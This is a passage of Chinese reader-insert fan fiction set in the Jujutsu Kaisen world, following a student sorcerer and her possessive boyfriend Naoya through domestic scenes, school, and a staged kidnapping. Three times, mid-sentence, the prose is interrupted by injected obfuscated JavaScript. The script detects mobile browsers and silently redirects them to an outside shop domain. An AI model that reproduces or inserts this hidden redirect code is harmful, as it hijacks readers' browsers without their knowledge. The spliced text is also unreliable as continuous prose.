“急急忙忙像什么样子。”看着你一秒满血兴致勃勃的样子,直哉只觉得好笑又可爱,你永远是这样,对感兴趣的事物学不会掩饰,所以他觉得你是一个非常好懂的人,清澈如泉水一般,只是偶尔清澈过头。 你的个性导致了直哉连做噩梦都是你直言要走,即使是在梦里你要离开,你也说不出一句软话或是借口,简直是随心所欲,为所欲为。 他立刻掐断这可怖的梦境妄想,你们好好的,正要亲密接触(刮胡子也算吧),没有人要离开。 …… 浴室里,你轻手轻脚地用泡沫涂满直哉的下巴,他坐着你站着,从你的角度看来,直哉日常有些锐利上挑带着锋芒的眉眼此刻要温柔许多,只有浓密纤长的睫毛特别瞩目。 ‘我的直哉可真好看啊。’你弯腰拿起剃须刀,小心翼翼地往他的下巴蹭,因为本来只有一些胡茬,所以肉眼其实看不太清楚,你需要更加小心处理。 “你在绣花吗?紧张兮兮的。”直哉看出了你的谨慎,他哑然失笑,电动剃须刀本来就有防护网设计,根本没必要那么害怕,而且就算真的割喉了也没什么,止血就行了。 虽然嘴上这样说,但是他能接受到你珍视他的心意。 他看你的站位有些别扭和受累,于是伸手揽住你将你往他身上带,你不知不觉就坐在了直哉的腿上,位置舒适了,你更加严肃认真地给他修脸。 随着你的呼吸轻轻喷到他的脸上,他抱着你的手逐渐收紧,眸色也逐渐加深,他摸了摸你的额头,很好,没有热度。 “直哉?”你奇怪地看他,然后有了一点不妙的预感。 你和宪纪在任务地点失联一天,虽然这不算冷战,但是直哉也实实在在的‘失去’了你一天。 只要涉及到‘失去’这个概念,直哉都会有些不太理智,或者说是歇斯底里,他会觉得自己委屈坏了,需要收取利息。 这个地方又是他超级喜欢的浴室。 “好了。”你赶紧收手,紧接着想从他身上下去,“都弄干净了,滑溜溜的。” 不过你的撤退明显有些迟了,他伸手拦截了你,并没打算放开。 …… 卧室,你终于有时间喘口气。 “重。”你嫌弃推他,“直哉,我觉得体型大的人要有自知之明,不要给别人(我)增加压力,也不要挤占他人生存空间。” 直哉哼笑一声,对你的控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055191|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉不置可否,他微微撑起身子不让你承担重量,又体贴问你,“要喝水吗?” “要很普通地喝水。”你谨慎用语,规避雷区,并且安排细节,“要用米菲图案的那个杯子。” 上一次你说要喝水,直哉喝了一口就亲了上来,虽然你们日常互相吃对方的食物早就不嫌弃了脏不脏了,但是亲着亲着他会借题发挥,你得防范这种情况的发生。 直哉当然知道你在担心什么,他长臂一伸就拿到了床边柜上你指定的杯子,看你咕嘟咕嘟喝了好几口,他知道你是真的累了渴了。 “晚上想吃什么?”他接过你的杯子,顺手又把睡衣披在了你的身上,这是休战的意思。 你如获大赦,立刻裹紧睡衣并提出要求:“我想吃寿喜烧,不要请厨师来禅院,我想出去吃。” “还是上次那家吗?”直哉拿起手机吩咐下人去定位。 “嗯……”你猫猫祟祟钻进他的怀里,因为此刻心情不错,所以你习惯性撒娇,“好累哦直哉,我认为需要对你施加限制。” “没有这种限制。”他伸手把你箍住,“是你自己没用。” “欸?!”你震惊他居然直接甩锅,不过你瞬间理解,你和直哉都是那种爱你老己明天见的类型,出了任何问题必然先责怪对方,这好像也是你俩的基本操作了,对于别的情侣来说可能会客气一下,你俩是真的毫不客气。 “呵。”直哉本想说几句让你更加羞赧,但是看你确实已经脸红红的(也可能是生理性的),他伸手摸摸你的脸,居然开始认真给你建议,“客观条件无法改变,你应该提升自己才对,京都高专的体术课乏善可陈,平时我可以在禅院的训练场免费给你加练。” “我又不傻,我才不要去禅院的训练场,会出人命累死人的。”你小声嘀咕,“客观条件也是可以改变的……换个男朋友不就行了……” 你越说越小声,因为你感觉好像有点戳中直哉死穴了。 他的眼神肉眼可见地冷了下来,嘴角也噙起了冰冷的微笑,下一秒毒液一般的言语可能就要扫射到你了。 你心虚目移,虽然被说几句也不会掉块肉,但是你也不是找骂的类型。 “浅川离!” 一般来说他连名带姓地叫你等于真的生气了。 “直哉,你最好了,我最喜欢你,我刚才是故意气你的!”你不去看他的表情,只一个劲儿往他的怀里钻,“今天晚上我也不回外公家,我和你回禅院……晚上我也不玩switch游戏,一直一直陪着你,你干什么我都认真陪伴!” 你本来声音就如泉水清甜,在刻意撒娇的情况下更加高糖分更加黏糊,外加你慌慌张张一通乱摸和乱抱,这样的组合拳下,你觉得直哉一定会立刻消气。 “你最好是。”直哉沉默了一会儿后果然没能抵挡住你的糖衣炮弹,他用下巴抵住你的脑袋让你停止乱动,声音低哑执拗,“没有换人的选项,你只能是我的,永远都是,要换人除非我死了。” 这句话看起来好像是说给你听,其实你感觉直哉是在坚定自己的信念。 毕竟永远实在是一个太玄妙的数字,此刻你大概算爱着直哉,但是你不确定永远这样庞大的概念,这个世界如此真实可怕,尤其是咒术师可能会遇到特级咒灵,然后嘎巴一下就死了,你们真的能永远在一起吗?你不太确定。 除了咒灵还有其他咒术师,直哉树敌广泛,你外公也树敌广泛,咒术师杀手什么的……禅院甚尔不就是这个职业的高手吗?虽然他死了,但是不代表这个职业消亡了,你们还是高价值的击杀目标。 就算你俩都能‘永远不死’,也没有什么东西能保证你们不会分手吧?明年你们各自嫁娶都是有可能的吧?毕竟没有人可以预知未来,今天在一起,明天吵架分手的情侣多如牛毛,为什么直哉觉得你俩一定可以免俗? 不过此刻你当然不会拆台,只依偎着他乖巧点头,好像深信不疑一样。 你只是不想争辩,浪费口舌,倒也不是想欺骗他,你对自己的反应心安理得,并且迅速逻辑自洽:直哉这人很容易炸嘛,炸了大家都会很麻烦,所以现在就让让他吧。 11. 第 11 章 晚餐的时候你有些心不在焉,甚至懒得去动筷子,只拿着手机不断回复着学校群的信息。 直哉替你夹了一块上好的和牛。 你嗯了一声,继续看手机信息。 “别玩手机了,都凉了。”直哉说完又觉得有些不妥,这样的话好像一个老妈子说的,在你面前他的形象应该是男人才对,于是他直接吃掉了你碗里的,又夹了一块新的,吹吹,然后强硬地塞进你嘴里。 “唔?”你被小小吓了一跳,但是肉已经到了嘴里,味道居然超棒。 “好好粗。”你含糊不清地表扬了这块肉,不出意料之外的被直哉提醒“咽下去再说话。” 他有些嫌弃地看了一眼你的手腕,纤细到他一只手可以同时抓住你的两只,而且还绰绰有余。 “多吃点,那么瘦。”虽然知道这也是一种换取庞大咒力的“天与咒缚”,但是他还是希望你可以强壮一点,不至于磕碰一下就没出息得哭起来。 明明是很正常的事,你哭起来他会感觉自己好像做了什么坏事一样……他可不想要这种莫名其妙的负罪感,本来就不是他的错! “吃多少都没什么变化吧。”你陈述事实,并不是所有人都可以和五条老师一样咒力身体双强大的,也许那个特级乙骨忧太可以,但是你并没有如此幸运。 你叫住了路过的服务员,让她给你上一个布丁。 “你把吃甜食的胃留给主食会好很多。”直哉虽然面上不赞同,但是也不至于阻拦你吃甜品。 “可是构建环境让脑子很累,吃点甜的会好一点。”你搬出了正当理由,“五条老师也爱甜食嘛,他的六眼……” 说到一半你注意到直哉眯起了他漂亮的凤眼,山雨欲来的压迫感不知不觉萦绕在了你的头顶。 你把未尽之语吞下,腹诽不公平。 直哉自己就可以随心所欲地谈论五条悟和禅院甚尔,你提一下五条悟他就不高兴,甚至隐隐约约要炸毛。 简直是个独裁者! 不过你决定今天先不惹他,毕竟你答应了晚上跟他回家,现在惹恼了,后果可以设想且不堪设想。 用精致银碟子装着的漂亮布丁很快被放到了你的面前。 你挖了一勺,照例喂了直哉一口,他说甜死了,但是还是吃了。 你喂的东西他就没有不吃的,橘子皮都会吞下去,你记得某次你给他喂橘子,喂完橘子瓣你还在走神,掰了一块橘子皮给他,他也张口吃了。 你的直哉就是一个那么乖的小狗,虽然最近特殊时期确实给你惹了一些麻烦,但是除了辛苦和劳累,你偶尔也会感觉‘幸福’二字具象化了:毕竟他确实是你最亲爱的人,虽然这个称号若隐若现的,时有时无的。 “直哉。”你吃了几口布丁,突然喊他名字。 “干嘛?”他看向你,金色碎发下那双总是露出鄙夷和轻视的漂亮眼睛,此时居然有些清澈。 你们的包厢非常私密,所以你直接探过半个身子,亲上了他的唇瓣。 “阿离?”他奇怪你突然热情,但是他也不是傻子,女朋友投怀送抱自然要接住,他伸手把你捞到了自己的怀里,低头回吻你。 按照直哉的话来说你就是个神经猫,大部分时间你都在想自己的事情,偶尔冷若冰霜,间歇性还要发神经,像现在这样主动扑上去亲的概率大概是游戏抽出SSR,所以他非常珍惜这个机会。 等你亲够了就开始推他的胸口,动作示意enough。 他没有立刻松开你,而是又舔舐了你的嘴唇,才依依不舍地放开。 “干嘛突然亲上来,那么等不及吗?”他的薄唇抿起了一个戏谑的弧度,有些居高临下地看着你,戳你痛点。 “就是,突然觉得你很好。”你不去看他,只直抒胸臆,“直哉你啊,是很乖的小狗。” “哼,你才是……猫。”直哉从来没有承认过自己是你的狗,但是他真心觉得你是他的猫,很恶劣又没有太多良心的那种。 …… 回到禅院自然又是辛苦到你了,第二天中午你睡到十二点,然后想起来该去学校。 虽然你和宪纪在任务中遇险,按照校规就是可以休息一天,但是今天已经是第二天了。 你从轻薄却层层叠叠的被子里爬出,先去洗漱,换了备用的校服,你熟门熟路地走出卧室里间,直哉的私人书房在外间,他偶尔也在那边接见属下,但是当你睡在里面时,属下一般只能隔着和室的门汇报。 “直哉,快送我去学校。”看到他坐在书桌前,你顺手挽起自己银色的长发,又摇晃他的袖子催促。 今天的直哉穿着大正风的和服,你猜测他是刚从躯俱留队的训练场视察回来,在没有休息好的前提下,你看着他神采奕奕甚至可以说皮肤饱满水润的脸蛋,你只觉得咒术师可真强啊……(你本人除外)。 “急什么。”直哉伸手拉过你,让你在他的腿上坐下,他凑近你耳鬓厮磨,语带魅惑,“明天再去吧。” “今天就要回去,不然我会有好多作业要补。”你坚持并威胁,“你也不想帮我写作业吧,直哉?” 在你无法完成作业的时候,你拥有两位枪手,第一顺位的自然是直哉,第二顺位的则是你的外公。 没错,京都校校长乐岩寺嘉伸会帮外孙女完成来不及写的作业,如果被五条悟知道,他可能会笑的拍大腿:日常最讲规矩体统传统的老爷子模仿外孙女笔迹半夜补作业。 “麻烦……”直哉是真不想写你的作业,替你补作业并不是一件轻松的事情,如果全写对了会被你埋怨太假,错得多了又被你埋怨太烂,不管如何你都能挑出毛病,就好像是故意的一样(确实是故意的)。他立刻呼叫了司机,准备马上把你送回学校。 他照例也跟上了车,其实你觉得让司机单独送你就好了,但是直哉是不会同意的。 他的理由也很充分:如果真的遇到了觊觎你的诅咒师,这没咒力的废物可以抵挡几秒? 接下来他会补充一句:又不是谁都是甚尔,禅院真希还想效仿甚尔,真是可笑。 反正就是在场的和不在场的都被他骂了,只有甚尔和五条悟是他的神。 …… 回到京都校的第一节课是国文,你摊开课本,看起来好像在听讲,其实心思已经飘远。 宪纪回头看了你一眼,并没有说什么,大概是简单确认一下你的状态,毕竟之前的那次任务你消耗了挺多咒力。 一下课东堂葵就来找你,兴致勃勃地询问你关于那个医院咒灵的事情。 你觉得东堂是一个很自信很有意思的人,绝对的自我中心者(你承认自己也有一点点),即使你和他三年都没讲过几次话,他还是能直接提问他感兴趣的,丝毫没有考虑到客观上你们都不熟。 听完你简单的叙述,他得出结论。 “MS.浅川,虽然你个子矮小,但是你现在也非常强,可以勉强算我的sister了!” 你无语,他是在夸你,可是这种好像刚知道你实力的态度,夸得让你不快,不过你们三年级的都熟悉东堂葵的性格,所以你就含糊点头,表示好的好的你知道了。 “东堂,浅川毕竟也是准一级的咒术师,她只是做了她应该做的。”宪纪在边上提醒,“她并不是突然变强的,之前只是你小看了她罢了。” 你一脸赞许地看向宪纪,说得对啊! “确实!看来我是低估了矮个子的女人!”东堂葵一点也没有尴尬,他伸出蒲扇一般的大手在你背上轻轻拍了一下,“一起努力吧!Sister!” 就是莫名其妙的热血。 你突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055192|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然开始理解直哉,他的假想敌只有宪纪,这实在是情有可原,东堂和你实在没有任何粉色泡泡,他和任何人搭话都能将剧情迅速切入热血少年番,全然热血,没有一丝暧昧。 等东堂葵离开,只留下你和宪纪,你有些不好意思地表示直哉上次说话太过分了,你替直哉表达歉意。 宪纪很豁达,表示没有关系。 “禅院直哉一直是个论外之男。”宪纪的语气平淡,听不出情绪,“他挑衅我也只是因为担心你,所以无妨。只是……” 他看向你,态度似是有些认真严肃。 “浅川,你真的要把自己托付给他吗?” 你愣住,这可不像是你的同学加茂宪纪会说的话,他克己复礼,成熟稳重,你罕见能看到他对谁有鲜明的负面评价,而此刻他直言不讳地指出了你的男朋友有大问题。 你很想说其实直哉对你很好,而你也不是他想象中的那般好,你的毛病缺点和直哉不相上下……但是你张了张嘴,又什么都说不出口。 “是我失言了,请不必在意。”宪纪对你颔首,然后也离开了。 你待在原地思考了一分钟。 思考的结果就是你决定迁怒(其实不完全是)直哉,谁让他的态度那么恶劣,导致你的同学都在担心你了!这很明显是害你丢人了! 你是行动派,立刻给直哉发信息,说他很讨厌,今天明天后天都不想和他打视频了。 直哉当然是立刻打了视频过来。 “说清楚!干嘛突然对我生气。”视频里的他似乎正在训练场,额头还沁着薄薄的汗水,风吹起他的额发,你突然觉得直哉露额头也挺好看的。 都觉得好看了,更是吵不起来了。 你支支吾吾表示生气怎么了,我就爱生气,有本事你别理我。 直哉get到你完全就是无理取闹想吵架玩,于是他也反唇相讥:“作业做完了吗,浅川同学?” “要你管!”你嘴硬,如果真的做不完,确实是要他管的。 你们就这样在电话里打打闹闹吵了几句嘴,然后你就忘记了刚才的不快。 毕竟你的直哉有一张非常美丽的脸,看着他的脸根本没办法真的生气,你有些不快,感觉自己是被美色迷惑的人。 如果你的想法被直哉知晓,他会冷哼一声,因为在他的视角,他也是完全拿你没有办法。 你俩半斤八两吧,大概是这个意思。 挂了电话,你有些惆怅。 好好的直哉为什么长了一张那么刻薄的嘴。 不过还是……有一点好的,直哉慕强。 他对宪纪无礼是因为他觉得宪纪比他弱,他在五条悟面前就不敢造次,甚至很崇拜他。 这样让直哉的生存可能性增加了一点点,不要薅着强者挑衅就很好,就很安全。 至于其他人的感受? 除了宪纪这样对你真切利益相关的,都无所谓吧? 你和直哉能‘相濡以沫’十几年,从本质上来说你们其实是一样的人,这点你非常清楚。你无法真正责怪直哉,也许是因为你心里并没有觉得他特别过分。 不过咒术师大多数有奇怪的个性,你也完全不内耗,没觉得自己有什么不好的。 你溜溜达达地走了几步,发现窗外有一棵树长了一朵特别可爱的小花,于是你拍照发给直哉。 他秒回:可爱。 很敷衍的回答。 你感觉有点没意思,又有点不喜欢直哉了。 他好像和你有心电感应一般,立刻补发一个信息,夸奖了这朵花好几句,最后再加一句‘还是你更好看。’ 你对他的懂事感到了满意,又把喜欢上升回了正常的水平。你想,他如果能一直美貌又听话,你就能一直很喜欢他,这也不难吧?大概是…… 12. 第 12 章 一天的课程结束,你按照高专工作条例去接受辅助监督的问询。 你并没有犯事,只是你和宪纪上一次的任务有出现目标‘货不对版’的情况,咒灵的等级突变这样的事情说多不多,说少也没那么少,可靠的宪纪已经代表你提交了任务过程,你只需要去确认并签字即可。 临时办公点处,负责处理此项事务的辅助监督竹内早已恭候多时,他对你非常客气,毕竟你是校长的外孙女,又是准一级咒术师,这些前置条件导致他完全不会将你当作学生看待,似乎更像是将你当成职场的前辈或是上级。 他提问,你确认,过程清晰流畅。 结束问询后,他合上笔记本电脑接着松了口气,表示还好你和宪纪都很强,不然后果不堪设想。 “不堪设想?是会死人吗?”你起身,随口一问,并不是真的想知道答案,只是闲聊。 “是啊,因为窗的失误,东京校死了一个一年级的学生……就是那个宿傩的容器。”也许因为你是乐岩寺的外孙女,辅助监督对你没有任何保密意识,直接说了来龙去脉,“昨天,东京的少年院出现了咒胎,东京校三个一年级的学生被派了过去,没想到那个咒胎变成特级咒灵了,而且附近居然没有一级咒术师救场,导致一个一年级的遇难,就是吞下宿傩手指的那个。” “啊?”你大感意外,咒胎变成特级咒灵、一年级参加特级任务、所有一级都不在东京,这三种条件本身就罕见,凑在一起更是离谱,简直写满了阴谋二字。 你立刻想到了五条悟之前拜访你外公的事,以及他拿你‘威胁’外公,现在一年级遇到特级咒灵且出现了死亡,死的还是五条悟力保的宿傩容器……你开始感觉不妙,该不会是你外公干的吧? 诚实来说此刻你并没有对东京校的一年级产生太多的同情,作为咒术师对死亡的态度和普通人本来就不太一样,更何况那是一个有‘宿傩容器’身份的不完全人类。但是你担心万一你外公没有遵守和五条悟的约定,那……五条悟会对你下手的吧? 宿傩容器可以是任何一个高层使坏干掉的,但不能是你外公,毕竟你和宿傩容器的未来在五条悟口中是相提并论的,你还不想被报复! 你并没有刻意隐瞒自己的心情,竹内辅助还以为你是被特级咒灵吓到了,他赶紧对你说抱歉(虽然不知道抱歉什么),还给你倒了一杯热可可压惊。 你道谢接过,然后捧着热可可暖手。下楼后你让竹内顺路把你带回了乐岩寺宅,你要去问一下你的外公,确保这件事与你们无关。 …… “外公!”你非常精确地在书房找到了你的外公,你并没有敲门,直接风风火火冲了进去。 乐岩寺嘉伸的桌上摊开着一卷古乐谱,很明显他并没有心思去看,因为他正在调试最破的那把吉他的音色,一般来说这是他焦虑的时候会做的事情。 “外公,你有没有杀虎杖悠仁?”你直接切入主题,“就是那个宿傩容器……” “放肆!这是什么怪问题?老夫为何要杀他?”你的外公立刻放下了手中的拨片,几乎是吹胡子瞪眼睛,语气确凿,“老夫上次已经答应了五条悟不去动他,岂有反悔的道理?我确实曾经力主死刑,但也不是言而无信的人。” 他有些无奈地瞪着你,心中还有话未说出口:老夫有你这个软肋,还杀什么宿傩容器? “真的不是你啊,外公。”因为你外公看起来是在说真话,于是你放下心来,顺便拿起他的茶水喝了一口给自己压压惊,又轻轻顺了顺胸口,“吓死我了外公,如果你杀了虎杖悠仁,五条悟肯定会报复我的。” 你将直哉的话记得很牢,五条悟的‘未来论’。 虎杖没有未来,你也没有未来,现在虎杖死了……如果真是你外公做的,五条悟会不会把你也掐死啊……你摇摇头,五条悟不是疯子,如果不是你外公做的,那你就是安全的。万一真的是你外公做的,五条悟也不至于干掉你。 现在这件事明确与你外公无关,五条悟那么神通广大,自然会找出真凶,即使找不到,也不至于迁怒别人。 “冒冒失失像什么样子,都已经是大姑娘了。”对你这副样子,乐岩寺虽然见怪不怪但是还是忍不住嘀咕,“阿离,你到底是在担心外公,还是在担心你自己?” 他多少了解你是个自私的小女孩,但是还是很想听到你对他的些许关心。 “我和外公不是一体的吗?我出事了外公也没办法安度晚年吧?”你承认你首先担心的是自己,但是这不代表你外公就不重要了,这两者不矛盾,你浅浅安抚一下外公,然后准备告辞,“好了外公,我没有问题了,你继续弹你的吉他吧,我出去咯。” 说着你潇洒转身,哒哒哒下楼去厨房找东西吃了。 你经常给外公买限量版的甜品,然后找机会自己吃掉,美其名曰为了外公的健康和血糖,和直哉比起来你真是孝顺的要命。 ‘我可真孝顺啊。’吃着你给外公买的布丁,你对自己无限赞赏。 …… 你吃完布丁看了一下手机,直哉也发信息和你说了宿傩容器死亡的事情,你表示刚才就知道了,为了避免他瞎想,你又补充一句,和我们可没有关系哦,不是我外公做的! ‘笨蛋,谁说是乐岩寺老头做的了?’直哉回信息,‘不过悟君肯定气坏了,毕竟死的可是他要力保的人。’ 你思考了一下回复:‘居然也有五条悟做不到的事(保护虎杖悠仁)。’ ‘他又不是神,怎么可能面面俱到?你干嘛,那么推崇他?’ 又来了又来了,你皱眉。 明明是直哉先提的五条悟……这种双标到底是怎么回事,他真的有点贱兮兮的。 你觉得直哉真的很不讲道理,他夸五条悟时你加入话题他会不高兴,他夸甚尔时你加入,他就会滔滔不绝。真的很烦,一天到晚对一个已故的人如此推崇,可能是因为死人无法对现实世界构成真正的威胁,而五条悟不仅在世,而且还是当世最强。 你俩就这样没有什么营养地互相怼了几句,你决定中断对话,并吩咐管家让司机把你送回京都校。 管家对于你的命令自然是立刻接下,专车很快就等候在花园里,你施施然上车。 上车后你就发现司机很陌生,似乎没有见过。 “你是新来的?”你状似随意地问。 “是的大小姐,我是新来的司机藤村,之前的山下有事回老家青森了,我暂时顶班。”对方的姿态很低,即使坐在驾驶室里,还是点头哈腰地回答你,像极了乐岩寺这种封建家族的苦命打工人。 你家固定的司机班有五人,日常专门接送你的是山下先生,而这个藤村你完全没有见过。 看到他已经启动了汽车,你便按捺住了想立刻下车的心思,如果他真的心怀不轨,你现在去拉车门反而会激怒他,而你的体术趋近于零,在不知道对方底牌的情况下最好不要轻举妄动。 他说的也可能是真的,也许真的只是新来的司机顶个班,是你神经过敏。 “藤村先生,我暂时不回学校了,请把我放在那边的新桥百货吧。”当车开出十几分钟,你对他下达了更改了目的地的指令。 “……啊,好的好的。”他立刻答应下来,这爽快的态度让他的嫌疑小了不少。 车很快就平稳停下。 你刚想去拉车门,却发现车门被人拉开,在你还没反应过来的时候,一左一右挤进来两个穿着和服的中年人,你能感受到他们都是有咒力的咒术师,同时你注意到他们的衣服上都有很清晰明显的五条家纹。 “浅川小姐,家主有请,请你和我们去一下。”其中一人转向你,语调无波,客气但是冷硬。 “是……是吗?”你心说这也太假了,五条悟根本没必要□□你,他如果想召唤你去,甚至不需要自己打电话,让辅助监督伊地知先生给你打个电话,你肯定就乖乖过去了,毕竟他是最强。 并不是你懦弱,你认为大部分咒术师都无法抵抗五条悟,除了你外公那帮老糊涂的高层‘朋友’外,敬畏五条悟是咒术师的人之常情。 虽然你完全不信,但是你还是装出一副完全信了的样子,甚至开始表演弱小、可怜、无助、怯懦,你琥珀色的大眼睛里迅速涌上了水汽,你好像一只瑟瑟发抖的小鹌鹑,缩在两个魁梧的‘五条家臣’中间动也不敢动。 他们拿走了你的手机,左边那人提出要把你绑起来,右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055193|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边那人却冷笑说没必要。 “我们在这里,她还能跑了不成?”右边的人道,后半句是他的嘀咕,“看起来很没用的样子,果然是被宠坏的大小姐。” 你闻言立刻表态:“两位大人……我会很乖的,请不要伤害我……” 表态后你眨眨眼,纤长卷翘的睫毛挂着点点泪珠,看起来真的很可怜。 你看起来就是一朵非常美丽的小白花,简直是纯洁的小铃兰一样的存在,此刻你露出怯怯的模样,更是活脱脱的‘没有男人保护我就会死’的模板,你左右的两位咒术师绑架犯对视一眼,最终没有绑住你的手脚,可能是觉得如果对你这种货色都需要捆绑,那他们也太没面子了。 他们应该是对你有过详细的调查,知道你的术式是构造环境,也知道你本体非常脆弱,你分析出他们都是体术很强的术师,你确信在你的环境铺开之前就会被他们摁住,被摁住有些不体面,你不想发生那样的情况。 你以不变应万变,继续扮演害怕到几近晕厥的小白花,泫然欲泣又控制着眼泪没有真的掉下来,你觉得好像有一点坚强但是不多的样子才比较真实。 他们将你带到一个废弃的仓库,路上你试图记住路线,可是你平时外出就很少,这辆车七拐八拐一直开在对你来说完全陌生的路上,你根本没有记下什么有效信息。 即使现在是夏末,这个仓库也因为大而冷到刺骨,他们将你绑在椅子上,绳子捆得松散,甚至没有给你戴上眼罩和口塞,接着他们很是悠闲地抽起了烟,闲聊了好几句,句句都在提醒你,他们是‘御三家’的,结合故意露出来的家纹,你认为他们是在嫁祸五条悟。 这个陷阱就很儿戏。 他们并没有真的想对你做什么,也不是认真绑架你,可能只是想让你觉得‘被五条悟报复了。’ 他们是总监部的人?还是盘星教余党?或者是东京校京都校的内鬼?你的小脑袋飞速转动,顺便还不忘记演一下害怕到掉眼泪。 难道是加茂家?你突然感觉这个答案的可能性很大,宪纪不会对你出手,可是加茂家又不只有宪纪,和禅院类似,他家也是各种势力盘根错节。 其实你现在完全可以发动术式,比如用岩浆烧掉身上的绳子,但是你选择继续保持流泪。 虽然没有证据,但是你觉得可能有人在暗中监视你。 毕竟咒术界中存在着各种奇怪的能力者和咒具,想偷偷观察你易如反掌。 幕后之人也许是想看你的术式?看你的实力?或者是试探你平日的表现是否藏拙? 你信任直哉一定会找到你,所以你打算继续扮演可怜的小白花,束手无策,只能嘤嘤嘤哭泣,哭着哭着你都有点累了,装可怜也挺辛苦的。 大约一小时后,你都要装不下去了。 铁门猛地被带着磅礴咒力的一脚踹开,你看到直哉冲了进来,跟在他身边的是躯俱留队的十几个精锐,再之后还有几个禅院家的医生,在你看到他的那一秒,速度‘无敌’的直哉已经冲到了你面前。 “阿离!”他一个手刀劈断了绑在你身后的绳子,先是抓着你上上下下仔细检查,然后一把将你抱紧。 “直哉,我好害怕。”虽然刚才一直在演弱小无辜小白花,但是看到直哉,你是真的鼻头一酸,你想回抱住他,可是你发现手脚都有些冻得失去知觉了。 是了,这里那么冷,你还被捆了那么久,可能要感冒了。 “是谁干的?”直哉也注意到了你的手冰凉,他努力攥住你的手,试图传递温度让你暖和起来,他的眉宇间阴云密布,你还在他身上闻到了淡淡的血腥气。 “呜,直哉……”你吧嗒吧嗒掉眼泪,矫揉造作地哼哼唧唧,几乎要把整个人的重量都靠到他的身上,“是加茂家的人!我看到他们的家纹了。” 说着话的同时你偷偷掐了一下直哉的手心。 “哈?”他本来是想大怒的,可是多年的默契让他瞬间知道了你的意图,你故意给了一个错误的答案,并且你一定有理由。 直哉也知道咒术界的监听五花八门,此地风险未知,要说话也起码回到车上。 他直接把你打横抱起往外走,禅院的其他人也乌泱泱地跟了出去。 13. 第 13 章 回到车上。 禅院家仆从保温包里拿出你最爱的那家店的珍珠奶茶,直哉接过来递给你。 你们并排坐在商务车的最后一排,他直接把你捞进怀里。 你眨眨眼,你的身体能清楚感受到直哉的肌肉也在微微颤抖。 他也害怕了。 于是你喝着奶茶倚靠着他,听着他明显与平日不同的心跳。 考虑到他也需要安慰,善良的你把奶茶递到他嘴边:“直哉你也喝。” “我不爱喝这种甜腻腻的幼稚东西。”他这样说,但是也低头喝了一口。 “压压惊。”你小声。 “我没有那么脆弱。”他维持着最后的倔强,声音也是硬撑一般的冷静,“一点小事罢了,不管你被绑到哪里我都能找到你,所以不算什么大事。” 你没有去戳穿他,只是将脑袋搁到他的心口。 直哉的心跳还是好快,他一定吓坏了,真是好可怜的小狗。 …… 回到禅院,虽然你觉得自己安然无恙,但是直哉还是不让你下地,他很是固执地抱着你回了他的书房。 “为什么说是加茂?”回到书房他也没放开你,直接抱着你在办公桌的主位坐下,凑近了你的耳朵轻声问你,他吐出的呼吸让你感觉耳廓痒痒的。 “他们穿了五条家纹的衣服,但是我觉得不可能是五条老师。”你的逻辑很清晰,“虎杖刚死,我外公和五条老师没有起冲突,我想可能有人不满意了……或者说,是很早就不满意了。” 直哉挑眉,示意你继续说。 “外公之前在高层会议就和五条老师站在了同一战线,这一次更是清白无辜,我想这次绑架的主谋目的就是把外公和你架起来。你想,如果我被救了以后大声嚷嚷着说是五条干的,那么你和外公必须表态?” “你就那么确定不是五条?”直哉虽然认同你,但是他还是有些吃味,你怎么那么信任五条悟? “如果是五条老师根本没必要绑架,打个电话叫我过去就是了,五条老师虽然是最强,但是在咒术界的这些年,他没有做过任何欺负弱小的事情吧?”你回答的理所当然,“所以我觉得,这种拙劣绑架的主谋,是他的可能性微乎其微。” “哼,你对他的评价倒是很高。”直哉知道你说的有道理,虽然他也认可五条悟的实力,对他还有对强者的崇拜,但是他内心知道自己的忌惮:他总觉得五条悟是一个情敌,即使这有些空穴来风,但是五条悟美丽强大,这正好符合你慕颜慕强的偏好。 “至于加茂……我其实是随口乱说的。”你承认你对宪纪有一点不友善,“不过问题不大,我会和宪纪说,相信一定是有人冒充加茂家的。” “宪纪?你平时不是叫他加茂吗?”直哉敏锐捕捉到了这样的微小细节,并且皱眉,“干嘛突然叫名字。” 你想说如果叫加茂,还需要解释是加茂家主还是其他加茂,就像你叫禅院真依为真依也不是因为关系好,而是禅院太多了。你还没来得及解释,直哉就调整了一下你的坐姿,让你面对着他,然后他就像快渴死的人遇到水源一般吻上了你。 你随便推推他,倒是没认真,对于他的情绪你全然表示理解。 “吓死我了,以后你不准落单了……”他一边亲吻你,一边收紧双臂将你抱得更紧,当然他还是有理智的,知道现在的你需要休息,所以黏黏糊糊亲够了,他就放你去洗澡了。 